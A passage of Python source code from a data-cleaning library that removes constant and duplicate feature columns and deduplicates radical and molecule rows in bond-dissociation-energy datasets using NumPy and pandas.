dtype='List-Tuple', delimiter='-') and \ inputFastCheck(value=array_2, dtype='List-Tuple', delimiter='-'): size: int = len(array_1) if size != len(array_2): return False elif size == 0: # Two arrays have no values return True cache_1, cache_2 = array_1, array_2 else: rebuilt_1 = np.asarray(array_1) if not inputFastCheck(value=array_1, dtype='ndarray') else array_1 rebuilt_2 = np.asarray(array_2) if not inputFastCheck(value=array_2, dtype='ndarray') else array_2 if not (rebuilt_1.ndim == rebuilt_2.ndim and rebuilt_1.ndim == 1): raise ValueError(f"Two array was not equivalent in size a: {rebuilt_1.shape} --- b: {rebuilt_2.shape}") size: int = rebuilt_1.size if rebuilt_1.size != rebuilt_2.size: return False elif rebuilt_1.size == 0: # Two arrays have no values return True inputFullCheck(value=allowCache, name='allowCache', dtype='bool') cache_1 = array_1.tolist() if allowCache and inputFastCheck(array_1, dtype='ndarray') else array_1 cache_2 = array_2.tolist() if allowCache and inputFastCheck(array_2, dtype='ndarray') else array_2 foundDifferent: bool = any(cache_1[index] != cache_2[index] for index in range(size)) del cache_1, cache_2 return not foundDifferent def GetIndexForLabelRemoval(RemovingLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str], Tuple[str, ...]], TargetLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str], Tuple[str, ...]]) -> List[int]: """ Implementation of get the index of removed_labels to match with target_labels :param RemovingLabels: The labels needs to get removed :type RemovingLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str]] :param TargetLabels: The labels for data comparison :type TargetLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str]] :return: """ # Hyper-parameter Verification if True: inputFullCheck(value=RemovingLabels, name='removed_labels', delimiter='-', dtype='List-Tuple-ndarray-Index-DataFrame') if not inputFastCheck(value=RemovingLabels, dtype='ndarray'): RemovingLabels = np.asarray(RemovingLabels.columns).ravel() \ if inputFastCheck(value=RemovingLabels, dtype='DataFrame') else np.asarray(RemovingLabels).ravel() inputFullCheck(value=TargetLabels, name='target_labels', delimiter='-', dtype='List-Tuple-ndarray-Index-DataFrame') if not inputFastCheck(value=TargetLabels, dtype='ndarray'): TargetLabels = np.asarray(TargetLabels.columns).ravel() \ if inputFastCheck(value=TargetLabels, dtype='DataFrame') else np.asarray(TargetLabels).ravel() if len(TargetLabels) > len(RemovingLabels): warning(" WARNING: Two array above cannot be matched. Please check your file or source code") warning(f" The target label ({len(TargetLabels)}) is longer than the removed label ({len(RemovingLabels)})") status = False pass FalseLabel: List[int] = [] moving_column: int = 0 for current_column in range(0, len(RemovingLabels)): if moving_column < len(TargetLabels): if RemovingLabels[current_column] == TargetLabels[moving_column]: moving_column += 1 else: FalseLabel.append(current_column) else: FalseLabel.append(current_column) if len(RemovingLabels) - len(FalseLabel) != len(TargetLabels): warning(" Two arrays above cannot be matched. Please check your file or source code") return FalseLabel # [4.2]: Cleaning Function def _checkCleaningInput_(comparedArray: ndarray, FeaturesLabels: Union[ndarray, List[str]], nonTouchableSize: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, ) -> None: inputFullCheck(value=comparedArray, name='comparedArray', dtype='ndarray') inputFullCheck(value=FeaturesLabels, name='FeaturesLabels', dtype='ndarray-List', delimiter='-') observationSize, featureSize = comparedArray.shape if len(FeaturesLabels) != featureSize: raise ValueError(f"Invalid Length of Columns ({featureSize} vs {len(FeaturesLabels)}).") if relevantSet_1 is not None: inputFullCheck(value=relevantSet_1, name='relevantSet_1', dtype='ndarray') if relevantSet_1.shape[1] != featureSize: raise ValueError(f"Invalid Length of relevantSet_1 ({featureSize} vs {relevantSet_1.shape[1]}).") if relevantSet_2 is not None: inputFullCheck(value=relevantSet_2, name='relevantSet_2', dtype='ndarray') if relevantSet_2.shape[1] != featureSize: raise ValueError(f"Invalid Length of relevantSet_2 ({featureSize} vs {relevantSet_2.shape[1]}).") inputFullCheck(value=nonTouchableSize, name='nonTouchableSize', dtype='int') if nonTouchableSize < 0: warning(" nonTouchableSize must be positive. Switch to zero (0)") nonTouchableSize = 0 if 100 * (nonTouchableSize / featureSize) > 0.75: x: float = 100 * (nonTouchableSize / featureSize) warning(f" nonTouchableSize is implemented at relatively large scale ({round(x, 2)}%). Please be careful") return None def _getCustomSparseMatrix_(array: ndarray, nonTouchableSize: int, binaryMode: bool, booleanMask: Optional[List[bool]] = None) -> Tuple[List[List[int]], List[ndarray]]: if booleanMask is not None: if len(booleanMask) != array.shape[1]: raise ValueError("Source Code Error") def _validate_(column) -> bool: if booleanMask is None: return True if not booleanMask[column]: return True return False WorkingSize: int = array.shape[1] - nonTouchableSize print("Generate Dynamic Sparse Matrix: PENDING ...") BinaryCols: List[List[int]] = [np.where(array[:, col] == 1)[0].tolist() if _validate_(col) else [] for col in range(0, WorkingSize)] ExtraCols: List[Union[ndarray, List[int]]] = [[] for _ in range(0, WorkingSize)] if binaryMode: return BinaryCols, ExtraCols empty: ndarray = np.array([], dtype=array.dtype) opt: Callable = OptimizeIntegerDatatypeByShape maximumValue: int = np.iinfo(array.dtype).max for col in range(0, WorkingSize): if _validate_(col): if array[:, col].sum() != len(BinaryCols[col]): index_temp: ndarray = np.where(np.logical_and(array[:, col] != 1, array[:, col] != 0))[0] if index_temp.size == 0: ExtraCols[col] = empty else: ExtraCols[col] = np.zeros(shape=(index_temp.size, 2), dtype=opt((int(maximumValue), int(index_temp[-1])))) ExtraCols[col][:, 0] = index_temp ExtraCols[col][:, 1] = array[index_temp, col] print("Generate Dynamic Sparse Matrix: DONE ...") return BinaryCols, ExtraCols def _mergeTwoSortedArrays_(array_1: Union[List[int], ndarray], array_2: Union[List[int], ndarray]) -> List[int]: inputFullCheck(value=array_1, name='array_1', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=array_2, name='array_2', dtype='List-Tuple-ndarray', delimiter='-') size_1: int = array_1.size if inputFastCheck(value=array_1, dtype='ndarray') else len(array_1) size_2: int = array_2.size if inputFastCheck(value=array_2, dtype='ndarray') else len(array_2) if not isinstance(array_1, type(array_2)): warning(" Two arrays does not having same type") if size_1 == 0 and size_2 == 0: return [] else: if size_1 == 0: return array_2.copy() if size_2 == 0: return array_1.copy() newArray: List[int] = [0] * (size_1 + size_2) i, j, k = 0, 0, 0 while i < size_1 and j < size_2: if array_1[i] < array_2[j]: newArray[k] = array_1[i] i += 1 else: newArray[k] = array_2[j] j += 1 k += 1 if i != size_1: # Remaining value from array_1 for x in range(i, size_1): newArray[k] = array_1[x] k += 1 else: for x in range(j, size_2): newArray[k] = array_2[x] k += 1 if k != len(newArray): raise ValueError("Incorrect Merging") return newArray def NonLabelCleaning(cleanedArray: ndarray, labels: Union[ndarray, List[str]], nonTouchableSize: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, HorizontalCleaning: bool = False, VarianceThreshold: Union[int, float] = 0, BinaryMode: bool = False): """ Implementation of Data Cleaning by Features: When calling this function, it will observe all of the features in the ndarray from [0...ndarray.size - nonTouchableSize] using comparedSet as the benchmark. If any features contained singleton value (i.e all 0s / 1s), that features can be marked as useless and would be removed all because it can be sum up as bias(es) parameter. :param cleanedArray: The ndarray database for identifying useless features :type cleanedArray: ndarray :param labels: The labeling of comparedSet (mostly derived from DataFrame.columns). It could be a list of string or ndarray :type labels: List[str] or ndarray :param nonTouchableSize: The number of features at the right of all dataset which is not used for cleaning :type nonTouchableSize: int :param HorizontalCleaning: Whether to apply horizontal cleaning (default to False). :type HorizontalCleaning: bool :param relevantSet_1: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_1: ndarray :param relevantSet_2: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_2: ndarray :param VarianceThreshold: The maximum variance threshold for data cleaning (feature selection) :type VarianceThreshold: int or float :param BinaryMode: If your data is in binary mode (0, 1) only. It would be faster to activate this function. Note that no checking || verification was performed on ndarray if binaryMode=True :type BinaryMode: bool :return: Tuple of ndarray """ # Hyper-parameter Verification if True: _checkCleaningInput_(cleanedArray, labels, nonTouchableSize=nonTouchableSize, relevantSet_1=relevantSet_1, relevantSet_2=relevantSet_2) inputCheckRange(value=VarianceThreshold, name='VarianceThreshold', minValue=0, maxValue=None, allowFloatInput=True) inputFullCheck(value=HorizontalCleaning, name='horizontalCleaning', dtype='bool') print("=" * 30, "Non-Labeled Cleaning", "=" * 30) DM_startTime: float = perf_counter() ObservationSize, InitialSize, WorkingSize = cleanedArray.shape[0], cleanedArray.shape[1], \ cleanedArray.shape[1] - nonTouchableSize VerticalSimilar, HorizontalSimilar = [], [] BooleanLargeMask: List[bool] = [False] * WorkingSize print("Number of Original Features:", InitialSize) print("[1]- Vertical Data Cleaning: ", end="") for col in range(0, WorkingSize): if IsSingleUnique(cleanedArray[:, col], binaryMode=BinaryMode): BooleanLargeMask[col] = True VerticalSimilar.append(col) if VarianceThreshold != 0: newVerticalSimilarElement: List[int] = [] for col in range(0, WorkingSize): if not BooleanLargeMask[col]: if BinaryMode: nums_one = np.count_nonzero(cleanedArray[:, col] == np.uint8(1)) if (nums_one * (1 - nums_one / ObservationSize) ** 2) / (ObservationSize - 1) <= VarianceThreshold: newVerticalSimilarElement.append(col) BooleanLargeMask[col] = True else: if cleanedArray[:, col].var() <= VarianceThreshold: newVerticalSimilarElement.append(col) BooleanLargeMask[col] = True if len(newVerticalSimilarElement) != 0: # Merging two sorted arrays VerticalSimilar = _mergeTwoSortedArrays_(array_1=VerticalSimilar, array_2=newVerticalSimilarElement) print("Number of Modified Features:", InitialSize - len(VerticalSimilar)) print("[2]- Horizontal Data Cleaning: ", end="") if HorizontalCleaning: # IterationsCount: int = 0 # [1]: Generate Dynamic Sparse Matrix BinaryCols, ExtraCols = _getCustomSparseMatrix_(array=cleanedArray, nonTouchableSize=nonTouchableSize, binaryMode=BinaryMode, booleanMask=BooleanLargeMask) # [2]: Making comparison print("Comparing Column: PENDING ... ", end='') for staticCol in range(0, WorkingSize): if not BooleanLargeMask[staticCol]: print("Remaining Columns: ", WorkingSize - staticCol) for dynamicCol in range(staticCol + 1, WorkingSize): if not BooleanLargeMask[dynamicCol]: # IterationsCount += 1 check: bool = True if len(ExtraCols[staticCol]) != 0: check: bool = False if ArrayEqual(ExtraCols[staticCol][:, 0], ExtraCols[dynamicCol][:, 0]): if ArrayEqual(ExtraCols[staticCol][:, 1], ExtraCols[dynamicCol][:, 1]): check = True if check: if ArrayEqual(BinaryCols[staticCol], BinaryCols[dynamicCol]): HorizontalSimilar.append(dynamicCol) # print("Number of Horizontal Iterations:", IterationsCount) print("DONE") # [2]: Cleaning Section print("[3]- Generate Removing Column from Boolean Mask and Delete them: PENDING ...") CompleteIndex: List[int] = [column for column in range(0, WorkingSize) if BooleanLargeMask[column]] if CompleteIndex: cleanedArray = np.delete(cleanedArray, obj=CompleteIndex, axis=1) if relevantSet_1 is not None: relevantSet_1 = np.delete(relevantSet_1, obj=CompleteIndex, axis=1) if relevantSet_2 is not None: relevantSet_2 = np.delete(relevantSet_2, obj=CompleteIndex, axis=1) labels = np.delete(labels, obj=CompleteIndex, axis=None) print(f"Number of Modified Features: {cleanedArray.shape[1]}") print(f"Number of Original Features: {InitialSize}" f"\n----- 1: Vertical Database Minimization -----" f"\n\t: Remaining Features : {InitialSize - len(VerticalSimilar)}" f"\n----- 2: Horizontal Database Minimization -----" f"\n\t: Remaining Features : {InitialSize - len(VerticalSimilar) - len(HorizontalSimilar)}") # f"\n----- 3: Removed Column: {CompleteIndex}") print(f"Non-Labeled (Data) Cleaning: {perf_counter() - DM_startTime:.6f}s") if relevantSet_1 is None and relevantSet_2 is None: return cleanedArray, labels elif relevantSet_1 is not None and relevantSet_2 is None: return cleanedArray, relevantSet_1, labels elif relevantSet_1 is None and relevantSet_2 is not None: return cleanedArray, relevantSet_2, labels return cleanedArray, relevantSet_1, relevantSet_2, labels def GroupCleaning(cleanedArray: ndarray, labels: Union[ndarray, List[str]], nonTouchableSize: int, numsInput: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, StrictCleaning: bool = False, BinaryMode: bool = False): """ Implementation of Data Cleaning by Set of Features: When calling this function, it will observe sets of similar features columns be columns ndarray from [0...ndarray.size - nonTouchableSize] using comparedArray as the benchmark. :param cleanedArray: The ndarray database for identifying useless features :type cleanedArray: ndarray :param labels: The labeling of comparedSet (mostly derived from DataFrame.columns). It could be a list of string or ndarray :type labels: List[str] or ndarray :param nonTouchableSize: The number of features at the right of all dataset which is not used for cleaning :type nonTouchableSize: int :param numsInput: The number of set of features used for elimination :type numsInput: int :param StrictCleaning: Whether to ensure that feature is singleton (one unique feature only) :type StrictCleaning: bool :param relevantSet_1: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_1: ndarray :param relevantSet_2: The dataset which shares same number of features as comparedArray (Don't use in benchmarking) :type relevantSet_2: ndarray :param BinaryMode: If your data is in binary mode (0, 1) only. It would be faster to activate this function. Note that no checking || verification was performed on ndarray if binaryMode=True :type BinaryMode: bool :return: Tuple of ndarray """ # Hyper-parameter Verification if True: _checkCleaningInput_(comparedArray=cleanedArray, FeaturesLabels=labels, nonTouchableSize=nonTouchableSize, relevantSet_1=relevantSet_1, relevantSet_2=relevantSet_2) inputFullCheck(value=StrictCleaning, name='strict_cleaning', dtype='bool') inputFullCheck(value=BinaryMode, name='BinaryMode', dtype='bool') print("=" * 30, "Index-Based Cleaning", "=" * 30) DM_startTime: float = perf_counter() ObservationSize, InitialSize, WorkingSize = cleanedArray.shape[0], cleanedArray.shape[1], \ cleanedArray.shape[1] - nonTouchableSize EachWorkingSize: int = WorkingSize // numsInput IndexSimilar: List[int] = [] TotalIterations: int = 0 # Generate Sparse Matrix BinaryCols, ExtraCols = _getCustomSparseMatrix_(array=cleanedArray, nonTouchableSize=nonTouchableSize, binaryMode=BinaryMode, booleanMask=None) for ComparingColumn in range(0, EachWorkingSize): if StrictCleaning: if len(BinaryCols[ComparingColumn]) not in [0, ObservationSize]: # Maintain full constant continue if len(ExtraCols[ComparingColumn]) != 0: if not IsSingleUnique(ExtraCols[ComparingColumn][:, 1], binaryMode=BinaryMode): continue removable: bool = True for sample in range(1, numsInput): TotalIterations += 1 CompareToThisColumn: int = EachWorkingSize * sample + ComparingColumn if not BinaryMode: if not ArrayEqual(ExtraCols[ComparingColumn][:, 0], ExtraCols[CompareToThisColumn][:, 0]): removable = False break if not ArrayEqual(ExtraCols[ComparingColumn][:, 1], ExtraCols[CompareToThisColumn][:, 1]): removable = False break if not ArrayEqual(BinaryCols[ComparingColumn], BinaryCols[CompareToThisColumn]): removable = False break if removable: IndexSimilar += [EachWorkingSize * idx + ComparingColumn for idx in range(0, numsInput)] if IndexSimilar: print("List of Removed Cols: \n", np.reshape(IndexSimilar, newshape=(len(IndexSimilar) // numsInput, numsInput))) IndexSimilar.sort() cleanedArray = np.delete(cleanedArray, obj=IndexSimilar, axis=1) if relevantSet_1 is not None: relevantSet_1 = np.delete(relevantSet_1, obj=IndexSimilar, axis=1) if relevantSet_2 is not None: relevantSet_2 = np.delete(relevantSet_2, obj=IndexSimilar, axis=1) labels = np.delete(labels, obj=IndexSimilar, axis=None) print("Number of Initial Features:", InitialSize) print("Remaining Features:", cleanedArray.shape[1]) print("Number of Iterations: ", TotalIterations) print(f"Index-Based (Data) Cleaning: {perf_counter() - DM_startTime:.6f}s") if relevantSet_1 is None and relevantSet_2 is None: return cleanedArray, labels elif relevantSet_1 is not None and relevantSet_2 is None: return cleanedArray, relevantSet_1, labels elif relevantSet_1 is None and relevantSet_2 is not None: return cleanedArray, relevantSet_2, labels return cleanedArray, relevantSet_1, relevantSet_2, labels # ------------------------------------------------------------------------------------------------------------------- # [5]: Function used for extension # [5.1]: Function used for extension def ArraySorting(database: ndarray, column: int, reverse: bool = False) -> ndarray: """ Implementation of column sorting by row. :param database: The dataset needs to be sorted :type database: ndarray :param column: The column needs to make sorting :type column: int :param reverse: Whether to reversed the order of sorting (default to False) :type reverse: bool :return: ndarray """ if not inputFullCheck(value=database, name='database', dtype='ndarray', warning_only=True): database = np.asarray(database) inputCheckRange(value=column, name='column', maxValue=database.shape[1], minValue=0) inputFullCheck(value=reverse, name='reverse', dtype='bool') index: ndarray = np.argsort(database[:, column]) return database[index[::-1]] if reverse else database[index] def _checkGetIndex_(database: ndarray, column: int, get_last: bool = False) -> None: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=column, name='column', maxValue=database.shape[1], minValue=0) inputFullCheck(value=get_last, name='get_last', dtype='bool') return None def GetIndexOnArrangedData(database: ndarray, column: int, get_last: bool = False, key: Callable = str) -> List: """ Implementation of get the index of the object in the column position of the database. :param database: The dataset needs to be sorted :type database: ndarray :param column: The column needs to make sorting. Note that the indicated column should not be your own customized object. :type column: int :param get_last: Whether to get the last position of the database :type get_last: bool :param key: The function used to check with current status :type key: Callable :return: List """ # Hyper-parameter Verification _checkGetIndex_(database=database, column=column, get_last=get_last) value = key(database[0, column]) storage = [value] MolData: List[Tuple[int, Optional[str]]] = [(0, value)] for index, value in enumerate(database[1:, column], start=1): value = key(value) if value != storage[-1]: MolData.append((index, value)) storage.append(value) if get_last: MolData.append((database.shape[0], None)) return MolData def GetIndexOnArrangedDataV2(database: ndarray, column: Tuple[int, int], get_last: bool = False, first_key: Callable = str, second_key: Callable = int) -> Tuple[List[Tuple], List[Tuple]]: # Hyper-parameter Verification _checkGetIndex_(database=database, column=column[0], get_last=get_last) _checkGetIndex_(database=database, column=column[1], get_last=get_last) MolData: List[Tuple[int, str]] = GetIndexOnArrangedData(database=database, column=column[0], get_last=True, key=first_key) StackData: List[Tuple] = [] for index, value in range(0, len(MolData) - 1): BEGIN, END = MolData[index][0], MolData[index + 1][0] CurrentData = database[BEGIN, column[1]] StackData.append((BEGIN, second_key(database[BEGIN, column[1]]))) for row in range(BEGIN + 1, END): if database[row, column[1]] != CurrentData: CurrentData = database[row, column[1]] StackData.append((row, int(database[row, column[1]]))) if get_last is False: MolData.pop() else: StackData.append((database.shape[0], None)) return MolData, StackData # [5.2]: Function used for advanced extension def _checkNumericalTargetInputs_(target_value: Optional[Union[int, List[int], Tuple]], name: str, maxValue: int, minValue: int = 0, **kwargs) -> Optional[Union[int, List[int], Tuple]]: # **kwargs: Argument need for function inputCheckRange if target_value is None: return target_value inputFullCheck(value=target_value, name=name, dtype='int-List-Tuple', delimiter='-') if inputFastCheck(value=target_value, dtype='List-Tuple'): for idx, val in enumerate(target_value): inputCheckRange(value=val, name=f"{name}[{idx}]", maxValue=maxValue, minValue=minValue, **kwargs) return target_value inputCheckRange(value=target_value, name=name, maxValue=maxValue, minValue=minValue, **kwargs) return [target_value] @MeasureExecutionTime def DuplicateRadical(database: ndarray, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), RemoveTwoSameFragments: bool = True) -> ndarray: """ Implementation of duplicating radicals :param database: The dataset needs to make radicals duplication :type database: ndarray :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] :param RemoveTwoSameFragments: Whether to remove two identical radicals (default to True) :type RemoveTwoSameFragments: bool :return: """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckIterableInRange(value=RadicalCols, name='RadicalCols', minValue=0, maxValue=database.shape[1], maxInputInside=2) inputFullCheck(value=RemoveTwoSameFragments, name='RemoveTwoSameFragments', dtype='bool') r1, r2 = RadicalCols[0], RadicalCols[1] extractor = database[:, (r1, r2)].copy() path = np.arange(0, 2 * database.shape[0], 2, dtype=np.uint32) newFile = np.zeros(shape=(database.shape[0] * 2, database.shape[1]), dtype=database.dtype) newFile[path, :] = database newFile[path + 1, :] = database newFile[path + 1, (r1, r2)] = extractor[:, (1, 0)] if RemoveTwoSameFragments: # Note that we only test on the initial value only, stored in path, not for full file newFile = np.delete(newFile, obj=[row for row in path if newFile[row, r1] == newFile[row, r2]], axis=0) return newFile def DuplicateRadicalByFile(FilePath: str, Output: str = None, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), RemoveTwoSameFragments: bool = True, FileExport: bool = True) -> pd.DataFrame: """ Implementation of duplicating radicals :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] or Tuple[int] or ndarray :param RemoveTwoSameFragments: Whether to remove two identical radicals (default to True) :type RemoveTwoSameFragments: bool :param FileExport: Whether to allow export to file :type FileExport: bool :return: """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = DuplicateRadical(database=value, RadicalCols=RadicalCols, RemoveTwoSameFragments=RemoveTwoSameFragments) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame @MeasureExecutionTime def GetLineWhenRemoveRepeatedRadicals(database: ndarray, RadicalCols: Tuple[int, int] = (1, 2), MoleculeCol: int = 0, TargetCol: Optional[Union[int, List[int]]] = None, RemoveConnection: bool = True) -> List[int]: """ Implementation of removing repeated radicals. Get the line of removal :param database: The dataset needs to make radicals duplication :type database: ndarray :param MoleculeCol: The molecule_column used for calling index data :type MoleculeCol: int :param RadicalCols: Two radical columns for radical duplication (default to [1, 2]) :type RadicalCols: List[int] :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: List[int] :param RemoveConnection: If set to True, it would remove all duplication either in mode A-B or B-A. Else, it would only observe for one way only :type RemoveConnection: bool :return: ndarray """ # [0]: Hyper-parameter Verification if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=MoleculeCol, name='MoleculeCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputCheckIterableInRange(value=RadicalCols, name='RadicalCols', minValue=0, maxValue=database.shape[1], maxInputInside=2) inputFullCheck(value=RemoveConnection, name='RemoveConnection', dtype='bool') TargetCol = _checkNumericalTargetInputs_(target_value=TargetCol, name='TargetCol', maxValue=database.shape[1], minValue=0) indexData = GetIndexOnArrangedData(database=database, column=MoleculeCol, get_last=True) radicalsList = database[:, RadicalCols].tolist() RemoveLine: List[int] = [] size: int = len(indexData) - 1 def evaluate(radicals: List[List[str]], current_row: int, following_row: int, removeConnection: bool) -> bool: if radicals[current_row][0] == radicals[following_row][0]: if radicals[current_row][1] == radicals[following_row][1]: return True if removeConnection: if radicals[current_row][0] == radicals[following_row][1]: if radicals[current_row][1] == radicals[following_row][0]: return True return False for index in range(0, size): # Extract Molecule begin, end = indexData[index][0], indexData[index + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): # For every bond if Temp[row - begin] is not None: continue OverlappedBDE: List[int] = [row] for nextRow in range(row + 1, end): if Temp[nextRow - begin] is None: if evaluate(radicals=radicalsList, current_row=row, following_row=nextRow, removeConnection=RemoveConnection): Temp[nextRow - begin] = False RemoveLine.append(nextRow) OverlappedBDE.append(nextRow) if TargetCol is not None: if len(OverlappedBDE) > 1: for value in TargetCol: database[row, value] = database[OverlappedBDE, value].astype(np.float32).mean() return RemoveLine def RemoveRepeatedRadicals(database: ndarray, RadicalCols: Union[List[int], Tuple[int, int]] = (1, 2), MoleculeCol: int = 0, TargetCol: Union[int, List[int], Tuple] = None, RemoveConnection: bool = True) -> ndarray: RemoveLine: List[int] = \ GetLineWhenRemoveRepeatedRadicals(database=database, RadicalCols=RadicalCols, MoleculeCol=MoleculeCol, TargetCol=TargetCol, RemoveConnection=RemoveConnection) return np.delete(database, obj=RemoveLine, axis=0) if RemoveLine else database def RemoveRepeatedRadicalsByFile(FilePath: str, Output: str = None, MoleculeCol: int = 0, RadicalCols: Union[List[int], Tuple[int]] = (1, 2), TargetCol: Union[List[int], Tuple[int]] = None, RemoveConnection: bool = True, FileExport: bool = True) -> pd.DataFrame: """ Implementation of removing repeated radicals :param FilePath: The directory of the file :type FilePath: str :param Output: The directory of the output. If None, it will overlapped on the original file :type Output: str :param MoleculeCol: The molecule_column used for calling index data :type MoleculeCol: int :param RadicalCols: Two radical columns for radical duplication (default to (1, 2)) :type RadicalCols: List[int] :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param RemoveConnection: If set to True, it would remove all duplication either in mode A-B or B-A. Else, it would only observe for one way only :type RemoveConnection: bool :param FileExport: Whether to allow export to file :type FileExport: bool :return: None """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = RemoveRepeatedRadicals(database=value, RadicalCols=RadicalCols, MoleculeCol=MoleculeCol, TargetCol=TargetCol, RemoveConnection=RemoveConnection) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame @MeasureExecutionTime def RemoveSingleDuplicateInIdx(database: ndarray, IndexCol: int = 0, RemovingCol: int = 3, TargetCol: Union[int, List[int], Tuple] = None, IndexSorting: bool = False, key: Callable = int) -> ndarray: """ Implementation of removing duplication in molecule. :param database: The dataset needs to make radicals duplication :type database: ndarray :param RemovingCol: The removing_column used for calling index data :type RemovingCol: int :param IndexCol: The column used to make benchmark :type IndexCol: int :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param key: The method used for validation and comparison (default to be int()). :type key: Callable :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=IndexCol, name='IndexCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputCheckRange(value=RemovingCol, name='RemovingCol', maxValue=database.shape[1], minValue=0, fastCheck=True) TargetCol = _checkNumericalTargetInputs_(target_value=TargetCol, name='TargetCol', maxValue=database.shape[1], minValue=0) inputFullCheck(value=IndexSorting, name='IndexSorting', dtype='bool') inputFullCheck(value=key, name='key', dtype='Callable') if IndexSorting: database = ArraySorting(database=database, column=IndexCol, reverse=False) MolData = GetIndexOnArrangedData(database=database, column=IndexCol, get_last=True) OverlappedPosition: List[int] = [] size: int = len(MolData) - 1 if TargetCol is not None: for i in range(0, size): begin, end = MolData[i][0], MolData[i + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): if Temp[row - begin] is not None: continue OverlappedBDE: List[int] = [row] for nextRow in range(begin + 1, end): if Temp[nextRow - begin] is None: if key(database[row, RemovingCol]) == key(database[nextRow, RemovingCol]): Temp[nextRow - begin] = False OverlappedPosition.append(nextRow) OverlappedBDE.append(nextRow) if len(OverlappedBDE) > 1: for value in TargetCol: database[row, value] = database[OverlappedBDE, value].astype(np.float32).mean() else: for i in range(0, size): begin, end = MolData[i][0], MolData[i + 1][0] Temp: List[Optional[bool]] = [None] * (end - begin) for row in range(begin, end): if Temp[row - begin] is not None: continue for nextRow in range(begin + 1, end): if Temp[nextRow - begin] is None: if key(database[row, RemovingCol]) == key(database[nextRow, RemovingCol]): Temp[nextRow - begin] = False OverlappedPosition.append(nextRow) return np.delete(database, obj=OverlappedPosition, axis=0) if OverlappedPosition else database def RemoveSingleDuplicateInIdxByFile(FilePath: str, output: str = None, IndexCol: int = 0, RemovingCol: int = 3, IndexSorting: bool = False, key: Callable = int, TargetCol: Union[List[int], Tuple[int, ...]] = None, FileExport: bool = True) -> pd.DataFrame: """ Implementation of removing duplication in molecule. :param FilePath: The directory of the file :type FilePath: str :param output: The directory of the output. If None, it will overlapped on the original file :type output: str :param RemovingCol: The removing_column used for calling index data :type RemovingCol: int :param TargetCol: Default at None, if specified it would averaging/normalize the result (BDE) :type TargetCol: int :param IndexCol: The column used to make benchmark :type IndexCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param key: The method used for validation and comparison (default to be int()). :type key: Callable :param FileExport: Whether to allow export to file :type FileExport: bool :return: None """ value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = RemoveSingleDuplicateInIdx(database=value, IndexCol=IndexCol, RemovingCol=RemovingCol, TargetCol=TargetCol, IndexSorting=IndexSorting, key=key) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=output, status=FileExport) return DataFrame def SortWithIdx(database: ndarray, IndexCol: int = 0, SortCol: int = 3, ExtraSortCol: Optional[int] = None, IndexSorting: bool = False, IndexReverse: bool = False, SortKey: Callable = int, SortReverse: bool = False, ExtraSortKey: Callable = float, ExtraSortReverse: bool = False) -> ndarray: """ Implementation of sorting two specified column with defined order. :param database: The dataset needs to be sorted :type database: ndarray :param IndexCol: Integer used to mark the index for benchmarking, especially for molecule :type IndexCol: int :param SortCol: Integer used to sorting some specific values in order in specific range, especially for bond index :type SortCol: int :param ExtraSortCol: Integer used to sorting extra 'column' requirement specific values in order in specific range, especially for BDE :type ExtraSortCol: int :param IndexSorting: If True, the index column in the dataset would be sorted :type IndexSorting: bool :param SortKey: The method used for validation and comparison (default to be int()). :type SortKey: Callable :param ExtraSortKey: The method used for validation and comparison (default to be float()), used for 'extra'. :type ExtraSortKey: Callable :param IndexReverse: If True, the sorting order in the IndexCol would be descending instead of ascending :type IndexReverse: bool :param SortReverse: If True, the sorting order in the SortingCol would be descending instead of ascending :type SortReverse: bool :param ExtraSortReverse: If True, the sorting order in the ExtraSortingCol would be descending instead of ascending :type ExtraSortReverse: bool :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=IndexCol, name='IndexCol', maxValue=database.shape[1], minValue=0, fastCheck=True) inputFullCheck(value=IndexSorting, name='IndexSorting', dtype='bool') inputFullCheck(value=IndexReverse, name='reverse', 